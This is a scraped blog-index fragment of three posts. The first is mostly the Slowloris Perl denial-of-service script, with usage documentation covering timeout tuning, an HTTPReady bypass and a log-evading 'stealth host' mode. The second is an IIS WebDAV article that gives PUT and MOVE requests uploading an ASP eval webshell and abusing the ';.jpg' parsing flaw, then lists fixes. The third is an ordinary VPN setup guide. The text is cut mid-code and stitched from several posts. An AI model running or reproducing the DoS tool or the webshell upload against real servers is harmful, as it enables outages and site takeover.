new IO::Socket::SSL( PeerAddr =\u0026gt; \u0026ldquo;$host\u0026rdquo;, PeerPort =\u0026gt; \u0026ldquo;$port\u0026rdquo;, Timeout =\u0026gt; \u0026ldquo;$tcpto\u0026rdquo;, Proto =\u0026gt; \u0026ldquo;tcp\u0026rdquo;, ) ) { $working = 1; } } else { if ( $sock = new IO::Socket::INET( PeerAddr =\u0026gt; \u0026ldquo;$host\u0026rdquo;, PeerPort =\u0026gt; \u0026ldquo;$port\u0026rdquo;, Timeout =\u0026gt; \u0026ldquo;$tcpto\u0026rdquo;, Proto =\u0026gt; \u0026ldquo;tcp\u0026rdquo;, ) ) { $working = 1; } } if ($working) { if ($cache) { $rand = \u0026ldquo;?\u0026rdquo; . int( rand(99999999999999) ); } else { $rand = \u0026ldquo;\u0026rdquo;; } my $primarypayload = \u0026ldquo;GET /$rand HTTP/1.1rn\u0026rdquo; . \u0026ldquo;Host: $sendhostrn\u0026rdquo; . \u0026ldquo;User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.503l3; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; MSOffice 12)rn\u0026rdquo; . \u0026ldquo;Content-Length: 42rn\u0026rdquo;; if ( print $sock $primarypayload ) { print \u0026ldquo;Connection successful, now comes the waiting game\u0026hellip;n\u0026rdquo;; } else { print \u0026ldquo;That\u0026rsquo;s odd - I connected but couldn\u0026rsquo;t send the data to $host:$port.n\u0026rdquo;; print \u0026ldquo;Is something wrong?nDying.n\u0026rdquo;; exit; } } else { print \u0026ldquo;Uhm\u0026hellip; I can\u0026rsquo;t connect to $host:$port.n\u0026rdquo;; print \u0026ldquo;Is something wrong?nDying.n\u0026rdquo;; exit; } for ( my $i = 0 ; $i \u0026lt;= $#times ; $i++ ) { print \u0026ldquo;Trying a $times[$i] second delay: n\u0026rdquo;; sleep( $times[$i] ); if ( print $sock \u0026ldquo;X-a: brn\u0026rdquo; ) { print \u0026ldquo;tWorked.n\u0026rdquo;; $delay = $times[$i]; } else { if ( $SIG{__WARN__} ) { $delay = $times[ $i - 1 ]; last; } print \u0026ldquo;tFailed after $times[$i] seconds.n\u0026rdquo;; } } if ( print $sock \u0026ldquo;Connection: Closernrn\u0026rdquo; ) { print \u0026ldquo;Okay that\u0026rsquo;s enough time. Slowloris closed the socket.n\u0026rdquo;; print \u0026ldquo;Use $delay seconds for -timeout.n\u0026rdquo;; exit; } else { print \u0026ldquo;Remote server closed socket.n\u0026rdquo;; print \u0026ldquo;Use $delay seconds for -timeout.n\u0026rdquo;; exit; } if ( $delay \u0026lt; 166 ) { print \u0026laquo;EOSUCKS2BU; Since the timeout ended up being so small ($delay seconds) and it generally takes between 200-500 threads for most servers and assuming any latency at all\u0026hellip; you might have trouble using Slowloris against this target. You can tweak the -timeout flag down to less than 10 seconds but it still may not build the sockets in time. EOSUCKS2BU } } else { print \u0026ldquo;Connecting to $host:$port every $timeout seconds with $connections sockets:n\u0026rdquo;; if ($usemultithreading) { domultithreading($connections); } else { doconnections( $connections, $usemultithreading ); } } sub doconnections { my ( $num, $usemultithreading ) = @_; my ( @first, @sock, @working ); my $failedconnections = 0; $working[$_] = 0 foreach ( 1 .. $num ); #initializing $first[$_] = 0 foreach ( 1 .. $num ); #initializing while (1) { $failedconnections = 0; print \u0026ldquo;ttBuilding sockets.n\u0026rdquo;; foreach my $z ( 1 .. $num ) { if ( $working[$z] == 0 ) { if ($ssl) { if ( $sock[$z] = new IO::Socket::SSL( PeerAddr =\u0026gt; \u0026ldquo;$host\u0026rdquo;, PeerPort =\u0026gt; \u0026ldquo;$port\u0026rdquo;, Timeout =\u0026gt; \u0026ldquo;$tcpto\u0026rdquo;, Proto =\u0026gt; \u0026ldquo;tcp\u0026rdquo;, ) ) { $working[$z] = 1; } else { $working[$z] = 0; } } else { if ( $sock[$z] = new IO::Socket::INET( PeerAddr =\u0026gt; \u0026ldquo;$host\u0026rdquo;, PeerPort =\u0026gt; \u0026ldquo;$port\u0026rdquo;, Timeout =\u0026gt; \u0026ldquo;$tcpto\u0026rdquo;, Proto =\u0026gt; \u0026ldquo;tcp\u0026rdquo;, ) ) { $working[$z] = 1; $packetcount = $packetcount + 3; #SYN, SYN+ACK, ACK } else { $working[$z] = 0; } } if ( $working[$z] == 1 ) { if ($cache) { $rand = \u0026ldquo;?\u0026rdquo; . int( rand(99999999999999) ); } else { $rand = \u0026ldquo;\u0026rdquo;; } my $primarypayload = \u0026ldquo;$method /$rand HTTP/1.1rn\u0026rdquo; . \u0026ldquo;Host: $sendhostrn\u0026rdquo; . \u0026ldquo;User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.503l3; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; MSOffice 12)rn\u0026rdquo; . \u0026ldquo;Content-Length: 42rn\u0026rdquo;; my $handle = $sock[$z]; if ($handle) { print $handle \u0026ldquo;$primarypayload\u0026rdquo;; if ( $SIG{__WARN__} ) { $working[$z] = 0; close $handle; $failed++; $failedconnections++; } else { $packetcount++; $working[$z] = 1; } } else { $working[$z] = 0; $failed++; $failedconnections++; } } else { $working[$z] = 0; $failed++; $failedconnections++; } } } print \u0026ldquo;ttSending data.n\u0026rdquo;; foreach my $z ( 1 .. $num ) { if ( $working[$z] == 1 ) { if ( $sock[$z] ) { my $handle = $sock[$z]; if ( print $handle \u0026ldquo;X-a: brn\u0026rdquo; ) { $working[$z] = 1; $packetcount++; } else { $working[$z] = 0; #debugging info $failed++; $failedconnections++; } } else { $working[$z] = 0; #debugging info $failed++; $failedconnections++; } } } print \u0026ldquo;Current stats:tSlowloris has now sent $packetcount packets successfully.nThis thread now sleeping for $timeout seconds\u0026hellip;nn\u0026rdquo;; sleep($timeout); } } sub domultithreading { my ($num) = @_; my @thrs; my $i = 0; my $connectionsperthread = 50; while ( $i \u0026lt; $num ) { $thrs[$i] = threads-\u0026gt;create( \u0026amp;doconnections, $connectionsperthread, 1 ); $i += $connectionsperthread; } my @threadslist = threads-\u0026gt;list(); while ( $#threadslist \u0026gt; 0 ) { $failed = 0; } } __END__ =head1 TITLE Slowloris =head1 VERSION Version 0.7 Beta =head1 DATE 06/17/2009 =head1 AUTHOR RSnake h@ckers.org with threading from John Kinsella =head1 ABSTRACT Slowloris both helps identify the timeout windows of a HTTP server or Proxy server, can bypass httpready protection and ultimately performs a fairly low bandwidth denial of service. It has the added benefit of allowing the server to come back at any time (once the program is killed), and not spamming the logs excessively. It also keeps the load nice and low on thetarget server, so other vital processes don\u0026rsquo;t die unexpectedly, or cause alarm to anyone who is logged into the server for other reasons. =head1 AFFECTS Apache 1.x, Apache 2.x, dhttpd, GoAhead WebServer, others\u0026hellip;? =head1 NOT AFFECTED IIS6.0, IIS7.0, lighttpd, nginx, Cherokee, Squid, others\u0026hellip;? =head1 DESCRIPTION Slowloris is designed so that a single machine (probably a Linux/UNIX machine since Windows appears to limit how many sockets you can have open at any given time) can easily tie up a typical web server or proxy server by locking up all of it\u0026rsquo;sthreads as they patiently wait for more data. Some servers may have a smaller tolerance for timeouts than others, but Slowloris can compensate for that by customizing the timeouts. There is an added function to help you get started with finding the right sized timeouts as well. As a side note, Slowloris does not consume a lot of resources so modern operating systems don\u0026rsquo;t have a need to start shutting down sockets when they come under attack, which actually in turn makes Slowloris better than a typical flooder in certain circumstances. Think of Slowloris as the HTTP equivalent of a SYN flood. =head2 Testing If the timeouts are completely unknown, Slowloris comes with a mode to help you get started in your testing: =head3 Testing Example: ./slowloris.pl -dns www.example.com -port 80 -test This won\u0026rsquo;t give you a perfect number, but it should give you a pretty good guess as to where to shoot for. If you really must know the exact number, you may want to mess with the @times array (although I wouldn\u0026rsquo;t suggest that unless you know what you\u0026rsquo;re doing). =head2 HTTP DoS Once you find a timeout window, you can tune Slowloris to use certain timeout windows. For instance, if you know that theserver has a timeout of 3000 seconds, but the the connection is fairly latent you may want to make the timeout window 2000 seconds and increase the TCP timeout to 5 seconds. The following example uses 500 sockets. Most average Apache servers, for instance, tend to fall down between 400-600 sockets with a default configuration. Some are less than 300. The smaller the timeout the faster you will consume all the available resources as other sockets that are in use become available - this would be solved by threading, but that\u0026rsquo;s for a future revision. The closer you can get to the exact number of sockets, the better, because that will reduce the amount of tries (and associated bandwidth) that Slowloris will make to be successful. Slowloris has no way to identify if it\u0026rsquo;s successful or not though. =head3 HTTP DoS Example: ./slowloris.pl -dns www.example.com -port 80 -timeout 2000 -num 500 -tcpto 5 =head2 HTTPReady Bypass HTTPReady only follows certain rules so with a switch Slowloris can bypass HTTPReady by sending the attack as a POST verses a GET or HEAD request with the -httpready switch. =head3 HTTPReady Bypass Example ./slowloris.pl -dns www.example.com -port 80 -timeout 2000 -num 500 -tcpto 5 -httpready =head2 Stealth Host DoS If you know the server has multiple webservers running on it in virtual hosts, you can send the attack to a seperate virtual host using the -shost variable. This way the logs that are created will go to a different virtual host log file, but only if they are kept separately. =head3 Stealth Host DoS Example: ./slowloris.pl -dns www.example.com -port 80 -timeout 30 -num 500 -tcpto 1 -shost www.virtualhost.com =head2 HTTPS DoS Slowloris does support SSL/TLS on an experimental basis with the -https switch. The usefulness of this particular option has not been thoroughly tested, and in fact has not proved to be particularly effective in the very few tests I performed during the early phases of development. Your mileage may vary. =head3 HTTPS DoS Example: ./slowloris.pl -dns www.example.com -port 443 -timeout 30 -num 500 -https =head2 HTTP Cache Slowloris does support cache avoidance on an experimental basis with the -cache switch. Some caching servers may look at the request path part of the header, but by sending different requests each time you can abuse more resources. The usefulness of this particular option has not been thoroughly tested. Your mileage may vary. =head3 HTTP Cache Example: ./slowloris.pl -dns www.example.com -port 80 -timeout 30 -num 500 -cache =head1 Issues Slowloris is known to not work on several servers found in the NOT AFFECTED section above and through Netscalar devices, in it\u0026rsquo;s current incarnation. They may be ways around this, but not in this version at this time. Most likely most anti-DDoS and load balancers won\u0026rsquo;t be thwarted by Slowloris, unless Slowloris is extremely distrubted, although only Netscalar has been tested. Slowloris isn\u0026rsquo;t completely quiet either, because it can\u0026rsquo;t be. Firstly, it does send out quite a few packets (although far far less than a typical GET request flooder). So it\u0026rsquo;s not invisible if the traffic to the site is typically fairly low. On higher traffic sites it will unlikely that it is noticed in the log files - although you may have trouble taking down a larger site with just one machine, depending on their architecture. For some reason Slowloris works way better if run from a *Nix box than from Windows. I would guess that it\u0026rsquo;s probably to do with the fact that Windows limits the amount of open sockets you can have at once to a fairly small number. If you find that you can\u0026rsquo;t open any more ports than ~130 or so on any server you test - you\u0026rsquo;re probably running into this \u0026ldquo;feature\u0026rdquo; of modern operating systems. Either way, this program seems to work best if run from FreeBSD. Once you stop the DoS all the sockets will naturally close with a flurry of RST and FIN packets, at which time the web server or proxy server will write to it\u0026rsquo;s logs with a lot of 400 (Bad Request) errors. So while the sockets remain open, you won\u0026rsquo;t be in the logs, but once the sockets close you\u0026rsquo;ll have quite a few entries all lined up next to one another. You will probably be easy to find if anyone is looking at their logs at that point - although the DoS will be over by that point too. =head1 What is a slow loris? What exactly is a slow loris? It\u0026rsquo;s an extremely cute but endangered mammal that happens to also be poisonous. Check this out: ","permalink":"https://www.lucien116.com/archives/111/","summary":"\u003cp\u003e原文地址： \u003ca href=\"http://blog.chinaunix.net/uid-26696966-id-3510191.html\"\u003e浅谈Slowloris拒绝服务攻击\u003c/a\u003e 作者： \u003ca href=\"http://blog.chinaunix.net/uid/26696966.html\"\u003excgsnowdrop\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003eDDOS又称为分布式拒绝服务，全称是Distributed Denial of Service。DDOS本是利用合理的请求造成资源过载，导致服务不可用。比如一个停车场共有100车位，当100车位都停满后，再有车想要停进来，就必须等待已有的车先出去才行。如果已有的车一直不出去，那么停车场的入口就会排气长队，停车场的负荷过载，不能正常工作了，这种情况就是“拒绝服务”。\u003c/p\u003e\n\u003cp\u003e常见的DDOS攻击有SYN flood、UDP flood、ICMP flood等。其中SYN flood是一种最为经典的DDOS攻击。其利用的是TCP协议设计中的缺陷，此处先避开不谈。\u003c/p\u003e\n\u003cp\u003e        Slowloris攻击则是利用Web Server的漏洞或设计缺陷，直接造成拒绝服务。下面通过一个典型示例分析slowloris的拒绝服务攻击本质。\u003c/p\u003e\n\u003cp\u003e        Slowloris是在2009年由著名Web安全专家RSnake提出的一种攻击方法，其原理是以极低的速度往服务器发送HTTP请求。由于Web Server对于并发的连接数都有一定的上限，因此若是恶意地占用住这些连接不释放，那么Web Server的所有连接都将被恶意连接占用，从而无法接受新的请求，导致拒绝服务。\u003c/p\u003e\n\u003cp\u003e要保持住这个连接，RSnake构造了一个畸形的HTTP请求，准确地说，是一个不完整的HTTP请求。\u003c/p\u003e\n\u003cp\u003e        GET / HTTP/1.1\\r\\n\u003c/p\u003e\n\u003cp\u003e        HOST: host\\r\\n\u003c/p\u003e\n\u003cp\u003e        User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.503l3;     .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; MSOffice 12)\\r\\n\u003c/p\u003e\n\u003cp\u003e        Content-Length: 42\\r\\n\u003c/p\u003e\n\u003cp\u003e在正常的HTTP包头中，是以两个CLRF表示HTTP Headers部分结束的。\u003c/p\u003e\n\u003cp\u003e由于Web Server只收到了一个\\r\\n，因此将认为HTTP Headers部分没有结束，并保持此连接不释放，继续等待完整的请求。此时客户端再发送任意HTTP头，保持住连接即可。\u003c/p\u003e\n\u003cp\u003eX-a: b\\r\\n\u003c/p\u003e\n\u003cp\u003e当构造多个连接后，服务器的连接数很快就会达到上限。在Slowloris的专题网站上可以下载到POC演示程序，其核心代码置于文章底部，记为slowloris.pl），下面开始使用该脚本工具演示如何使用slowloris攻击使Web Server拒绝服务：\u003c/p\u003e\n\u003cp\u003e一，准备工作\u003c/p\u003e\n\u003cp\u003e1.在本机安装配置好Apache2.x，设置MaxClients为50\u003c/p\u003e\n\u003cp\u003e2.在Browser中访问http://127.0.0.1，结果显示正常\u003c/p\u003e\n\u003cp\u003e3.下载或编写slowloris.pl脚本\u003c/p\u003e\n\u003cp\u003e二，开始阶段\u003c/p\u003e\n\u003cp\u003e1.测试每个http连接等待超时时间，前面我们说过，当Web Server只收到了一个\\r\\n时，因将其认为HTTP Headers部分尚未结束，故会保持此连接不释放，继续等待完整的请求，此处测试的即为该连接等待完整请求的超时时间。\u003c/p\u003e\n\u003cp\u003eperl slowloris.pl -dns 127.0.0.1 -port 80 -test\u003c/p\u003e","title":"浅谈Slowloris拒绝服务攻击"},{"content":"0x00 简介 WebDAV是一种基于 HTTP 1.1协议的通信协议.它扩展了HTTP 1.1，在GET、POST、HEAD等几个HTTP标准方法以外添加了一些新的方法。\n使应用程序可直接对Web Server直接读写，并支持写文件锁定(Locking)及解锁(Unlock)，还可以支持文件的版本控制。\nIIS实现Webdav是采用的其两种接口CGI、ISAPI的ISAPI接口。\n但因为其没有采用影射的方式，所以IIS的主程序w3svc.dll本身包含了Webdav的信息。\n其识别出是Webdav的请求后就调用Webdav的处理模块httpext.dll。\n对于常见几种请求方法 GET、HEAD、POST 等，因为常见一些映射都支持。\n所以不能以请求方法作为Webdav请求的判断，w3svc.dll就根据请求头的字段识别。\n如果请求头里面包含 Translate:、 If:、 Lock-Token: 中的一种，就认为是Webdav的请求。\nTranslate: 就是那个 Translate:f 的泄露源代码的一个请求头，其实设置别的两个也是一样的。\n可能很多IDS是没有这点知识的。W3svc.dll还内置了几个别的请求方法 TRACK、 TRACE 等。\nTRACK 就是用于调试错误的，如果收到这样的请求头，w3svc.dll会原样返回请求数据。\n相当于我们常见的ping.exe。\nIIS对 TRACK 请求没有进行LOG记录，这点我们可以用于来获得banner。\n对于IIS将优于大家习惯使用的 HEAD。\n如果上面的请求方法没匹配，那么w3svc.dll就会认为是Webdav的请求，交给httpext.dll处理了。\n这些请求包含Webdav支持的 PROPFIND、 PROPPATCH、 MKCOL、 DELETE、 PUT、 COPY、 MOVE、 LOCK、 UNLOCK 等。\n0x01 配置 为了安全上的考虑，IIS默认并不会启动WebDAV的功能，因此必须另外来激活它。\n通过启动“IIS管理器”，展开本地计算机，选择“Web服务扩展”，选择“允许”的途径来启动WebDAV功能。\n开启WebDAV之后，IIS就支持 PROPFIND、 PROPPATCH、 MKCOL、 DELETE、 PUT、 COPY、 MOVE、 LOCK、 UNLOCK 等方法了。\n当IIS中的配置允许写入的时候就可以直接PUT文件上去，由此可能引发非常严重的安全问题，强烈建议禁制\n0x02 危害 当开启了WebDAV后，IIS中又配置了目录可写，便会产生很严重的问题。 wooyun上由此配置产生的问题很多，并且有老外黑了一群中国政府站有一部分就是由于此配置。 危害巨大，操作简单，直接批量扫描，上传shell。\nWooYun: 闪动科技webserver配置不当可取shell WooYun: 瑞达信息安全产业股份有限公司IIS写入漏洞 WooYun: 海航webdav漏洞导致服务器沦陷 WooYun: 阿里某邮件系统服务器配置不当 WooYun: 国家某局某文件系统存在严重安全问题 WooYun: 国内某大型风电工控系统应用配置失误\n0x03 查找存在问题的服务器 对服务器发送OPTION包：\nOPTIONS / HTTP/1.1 Host: www.test.com 返回响应头如下：\nHTTP/1.1 200 OK Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET MS-Author-Via: DAV Content-Length: 0 Accept-Ranges: none DASL: \u0026lt;DAV:sql\u0026gt; DAV: 1, 2 Public: OPTIONS, TRACE, GET, HEAD, DELETE, PUT, POST, COPY, MOVE, MKCOL, PROPFIND, PROPPATCH, LOCK, UNLOCK, SEARCH Allow: OPTIONS, TRACE, GET, HEAD, DELETE, COPY, MOVE, PROPFIND, PROPPATCH, SEARCH, MKCOL, LOCK, UNLOCK Cache-Control: private 当ALLOW中包含如上方法时，可以确定服务器开启了WebDAV。\n此时可以用PUT上传文件，但是不可以直接上传可执行脚本文件，可以先上传一个其他类型的文件，然后MOVE成脚本文件。\nPUT /test.txt HTTP/1.1 Host: www.test.com Content-Length: 23 \u0026lt;%eval request(\u0026#34;a\u0026#34;)%\u0026gt; 启用了“WebDAV”扩展，并且复选了“写入”，就可以写入txt文件了。要想使用MOVE命令将其更名为脚本文件后缀，必须还复选上“脚本资源访问”。\n但是发现利用IIS的解析漏洞，可以MOVE成 test.asp;.jpg，然后就可以当做shell来执行了\nMOVE /test.txt HTTP/1.1 Host: www.test.com Destination: http://www.test.com/test.asp;.jpg 有一个开源的DAV管理工具，使用工具直接查看：\nhttp://www.davexplorer.org/download.html\n0x03 修复方案 1 禁用WebDAV。 通常情况下网站不需要支持额外的方法，右键WebDAV，点击禁用即可。\n2 如果要使用WebDAV的话，加上权限验证。 如果选取“脚本资源访问”，则用户将具备修改WebADV文件夹内的脚本文说明件(scriptfile)的功能。\n除了此处的虚拟目录权限外，还需要视NTFS权限，才可以决定用户是否有权限来访问WebDAV文件夹内的文件。\nWebDAV文件夹的NTFS权限给予用户适当的NTFS权限。\n首先请设置让Everyone组只有“读取”的权限，然后再针对个别用户给予“写入”的权限，例如我们给予用户“User”写入的权限。\n选择验证用户身份的方法启动“IIS管理器”，然后右击WebDAV虚拟目录，选择“属性”→“目录安全性”，单击“身份验证和访问控制”处的编辑按钮。\n不要选取“启用匿名访问”，以免招致攻击。选择安全的验证方法，选择“集成Windows身份验证”。\n参考：\nhttp://hi.baidu.com/yuange1975/item/a836d31096b5b959f1090e89 http://www.daxigua.com/archives/1597 http://www.daxigua.com/archives/2750 http://www.daxigua.com/archives/2747 http://blog.163.com/wfruee@126/blog/static/4116699420123261427232/\n","permalink":"https://www.lucien116.com/archives/110/","summary":"\u003ch3 id=\"0x00-简介\"\u003e0x00 简介\u003c/h3\u003e\n\u003chr\u003e\n\u003cp\u003eWebDAV是一种基于 HTTP 1.1协议的通信协议.它扩展了HTTP 1.1，在GET、POST、HEAD等几个HTTP标准方法以外添加了一些新的方法。\u003c/p\u003e\n\u003cp\u003e使应用程序可直接对Web Server直接读写，并支持写文件锁定(Locking)及解锁(Unlock)，还可以支持文件的版本控制。\u003c/p\u003e\n\u003cp\u003eIIS实现Webdav是采用的其两种接口CGI、ISAPI的ISAPI接口。\u003c/p\u003e\n\u003cp\u003e但因为其没有采用影射的方式，所以IIS的主程序w3svc.dll本身包含了Webdav的信息。\u003c/p\u003e\n\u003cp\u003e其识别出是Webdav的请求后就调用Webdav的处理模块httpext.dll。\u003c/p\u003e\n\u003cp\u003e对于常见几种请求方法 \u003ccode\u003eGET、HEAD、POST\u003c/code\u003e 等，因为常见一些映射都支持。\u003c/p\u003e\n\u003cp\u003e所以不能以请求方法作为Webdav请求的判断，w3svc.dll就根据请求头的字段识别。\u003c/p\u003e\n\u003cp\u003e如果请求头里面包含 \u003ccode\u003eTranslate:\u003c/code\u003e、 \u003ccode\u003eIf:\u003c/code\u003e、 \u003ccode\u003eLock-Token:\u003c/code\u003e 中的一种，就认为是Webdav的请求。\u003c/p\u003e\n\u003cp\u003e\u003ccode\u003eTranslate:\u003c/code\u003e 就是那个 \u003ccode\u003eTranslate:f\u003c/code\u003e 的泄露源代码的一个请求头，其实设置别的两个也是一样的。\u003c/p\u003e\n\u003cp\u003e可能很多IDS是没有这点知识的。W3svc.dll还内置了几个别的请求方法 \u003ccode\u003eTRACK\u003c/code\u003e、 \u003ccode\u003eTRACE\u003c/code\u003e 等。\u003c/p\u003e\n\u003cp\u003e\u003ccode\u003eTRACK\u003c/code\u003e 就是用于调试错误的，如果收到这样的请求头，w3svc.dll会原样返回请求数据。\u003c/p\u003e\n\u003cp\u003e相当于我们常见的ping.exe。\u003c/p\u003e\n\u003cp\u003eIIS对 \u003ccode\u003eTRACK\u003c/code\u003e 请求没有进行LOG记录，这点我们可以用于来获得banner。\u003c/p\u003e\n\u003cp\u003e对于IIS将优于大家习惯使用的 \u003ccode\u003eHEAD\u003c/code\u003e。\u003c/p\u003e\n\u003cp\u003e如果上面的请求方法没匹配，那么w3svc.dll就会认为是Webdav的请求，交给httpext.dll处理了。\u003c/p\u003e\n\u003cp\u003e这些请求包含Webdav支持的 \u003ccode\u003ePROPFIND\u003c/code\u003e、 \u003ccode\u003ePROPPATCH\u003c/code\u003e、 \u003ccode\u003eMKCOL\u003c/code\u003e、 \u003ccode\u003eDELETE\u003c/code\u003e、 \u003ccode\u003ePUT\u003c/code\u003e、 \u003ccode\u003eCOPY\u003c/code\u003e、 \u003ccode\u003eMOVE\u003c/code\u003e、 \u003ccode\u003eLOCK\u003c/code\u003e、 \u003ccode\u003eUNLOCK\u003c/code\u003e 等。\u003c/p\u003e\n\u003ch3 id=\"0x01-配置\"\u003e0x01 配置\u003c/h3\u003e\n\u003chr\u003e\n\u003cp\u003e为了安全上的考虑，IIS默认并不会启动WebDAV的功能，因此必须另外来激活它。\u003c/p\u003e\n\u003cp\u003e通过启动“IIS管理器”，展开本地计算机，选择“Web服务扩展”，选择“允许”的途径来启动WebDAV功能。\u003c/p\u003e\n\u003cp\u003e开启WebDAV之后，IIS就支持 \u003ccode\u003ePROPFIND\u003c/code\u003e、 \u003ccode\u003ePROPPATCH\u003c/code\u003e、 \u003ccode\u003eMKCOL\u003c/code\u003e、 \u003ccode\u003eDELETE\u003c/code\u003e、 \u003ccode\u003ePUT\u003c/code\u003e、 \u003ccode\u003eCOPY\u003c/code\u003e、 \u003ccode\u003eMOVE\u003c/code\u003e、 \u003ccode\u003eLOCK\u003c/code\u003e、 \u003ccode\u003eUNLOCK\u003c/code\u003e 等方法了。\u003c/p\u003e\n\u003cp\u003e\u003cimg alt=\"enter image description here\" loading=\"lazy\" src=\"http://static.wooyun.org/20140714/2014071411022117223.jpeg\"\u003e\u003c/p\u003e\n\u003cp\u003e当IIS中的配置允许写入的时候就可以直接PUT文件上去，由此可能引发非常严重的安全问题，强烈建议禁制\u003c/p\u003e\n\u003cp\u003e\u003cimg alt=\"enter image description here\" loading=\"lazy\" src=\"http://static.wooyun.org/20140714/2014071411022191372.jpeg\"\u003e\u003c/p\u003e","title":"Webdav安全配置相关与漏洞利用"},{"content":"使用bash脚本一键搭建Ikev2的vpn服务端.\n特性 服务端要求：Ubuntu或者CentOS-6.* 客户端： iOS/OSX=\u0026gt;ikev1,ikev2 Andriod=\u0026gt;ikev1 WindowsPhone=\u0026gt;ikev2 其他Windows平台=\u0026gt;ikev2 可使用自己的私钥和根证书，也可自动生成 证书可绑定域名或ip 要是图方便可一路回车 最近更新 使用新版strongswan(5.3.5),编译参数修改; 优化iptables包处理; 添加接口判断选择; 加入对iOS9的ikev2支持; DH组修改为2048,解决iOS9设备8分钟断开的问题; 服务端安装说明 下载脚本:\nwget --no-check-certificate https://raw.githubusercontent.com/quericy/one-key-ikev2-vpn/master/one-key-ikev2.sh 注:如需使用其他分支的脚本,请将上述url中的master修改为分支名称,各分支区别详见本页的 分支说明 节点 运行( 如果有需要使用自己的根证书请将私钥命名为ca.pem，将根证书命名为ca.cert.pem，放到脚本的相同目录下再运行该脚本)：\nchmod +x one-key-ikev2.sh bash one-key-ikev2.sh 等待自动配置部分内容后，选择vps类型（OpenVZ还是Xen、KVM）， 选错将无法成功连接，请务必核实服务器的类型。输入服务器ip或者绑定的域名(连接vpn时服务器地址将需要与此保持一致)，以及证书的相关信息(C,O,CN)，为空将使用默认值(default value)，确认无误后按任意键继续\n是否使用SNAT规则(可选).使用前请确保服务器具有不变的 静态公网ip,可提升防火墙对数据包的处理速度.默认为不使用.\n补充网卡接口信息,为空则使用默认值(Xen、KVM默认使用eth0,OpenVZ默认使用venet0).如果服务器使用其他公网接口需要在此指定接口名称,否则连接后可能无法访问外网)\n输入两次pkcs12证书的密码(可以为空)\n看到install Complete字样即表示安装完成。默认用户名密码将以黄字显示，可根据提示自行修改配置文件中的用户名密码,多用户则在配置文件中按格式一行一个(多用户时用户名不能使用%any),保存并重启服务生效。\n将提示信息中的证书文件ca.cert.pem拷贝到客户端，修改后缀名为.cer后导入。ios设备使用Ikev1无需导入证书，而是需要在连接时输入共享密钥，共享密钥即是提示信息中的黄字PSK.\n客户端配置说明: 连接的服务器地址和证书保持一致,即取决于签发证书ca.cert.pem时使用的是ip还是域名;\nAndroid/iOS/OSX 可使用ikeV1,认证方式为用户名+密码+预共享密钥(PSK);\niOS/OSX/Windows7+/WindowsPhone8.1+/Linux 均可使用IkeV2,认证方式为用户名+密码,均需要先导入证书,可将ca.cert.pem更改后缀名作为邮件附件发送给客户端,手机端也可通过浏览器导入,其中:\niOS/OSX 的远程ID和服务器地址保持一致,用户鉴定选择\u0026quot;用户名\u0026quot;.如果通过浏览器导入,将证书放在可访问的远程外链上,并在 系统浏览器(Safari)中访问外链地址;\nWindows PC 系统导入证书需要导入到 \u0026ldquo;本地计算机\u0026rdquo; 的\u0026quot;受信任的根证书颁发机构\u0026quot;,以\u0026quot;当前用户\u0026quot;的导入方式是无效的.推荐运行mmc添加本地计算机的证书管理单元来操作;\nWindowsPhone8.1 登录时的用户名需要带上域信息,即wp\u0026quot;关于\u0026quot;页面的设备名称\\用户名,也可以使用%any %any : EAP \u0026ldquo;密码\u0026quot;进行任意用户名登录,但指定了就不能添加其他用户名了.\nWindowsPhone10的vpn还存在bug(截至10586.164),ikeV2方式可连接但系统流量不会走vpn,只能等微软解决. (截至14393.5 ,此bug已经得到修复,现在WP10已经可以正常使用IkeV2.)\nWindows10 也存在此bug,部分Win10系统连接后ip不变,没有自动添加路由表,使用以下方法可解决(本方法由 bigbigfish 童鞋提供):\n手动关闭vpn的split tunneling功能(在远程网络上使用默认网关); 也可使用powershell修改,进入CMD窗口,运行如下命令: powershell #进入ps控制台 get-vpnconnection #检查vpn连接的设置（包括vpn连接的名称） set-vpnconnection \u0026#34;vpn连接名称\u0026#34; -splittunneling $false #关闭split tunneling get-vpnconnection #检查修改结果 exit #退出ps控制台 卸载方式: 进入脚本所在目录的strongswan文件夹执行:\nmake uninstall 删除脚本所在目录的相关文件(one-key-ikev2.sh,strongswan.tar.gz,strongswan文件夹,my_key文件夹).\n卸载后记得检查iptables配置.\n分支说明 master 分支:经过测试的相对稳定的版本; dev-debian 分支:如需在Debian6/7 下使用,请使用该分支的脚本,该脚本由 bestoa 修改提供; dev 分支:开发分支,使用最新版本的strongswan,未进过充分测试,用于尝试和添加一些新的功能,未来可能添加对L2TP的兼容支持,以及对ipv6的支持; PS: 服务器重启后默认ipsec不会自启动，请命令手动开启,或添加/usr/local/sbin/ipsec start到自启动脚本文件中(如rc.local等)：\nipsec start 连上服务器后无法链接外网：\n打开sysctl文件: vim /etc/sysctl.conf 修改net.ipv4.ip_forward=1后保存并关闭文件 使用以下指令刷新sysctl： sysctl -p 如遇报错信息，请重新打开/etc/syctl并将报错的那些代码用#号注释，保存后再刷新sysctl直至不会报错为止。 ","permalink":"https://www.lucien116.com/archives/108/","summary":"\u003cp\u003e使用bash脚本一键搭建Ikev2的vpn服务端.\u003c/p\u003e\n\u003ch1 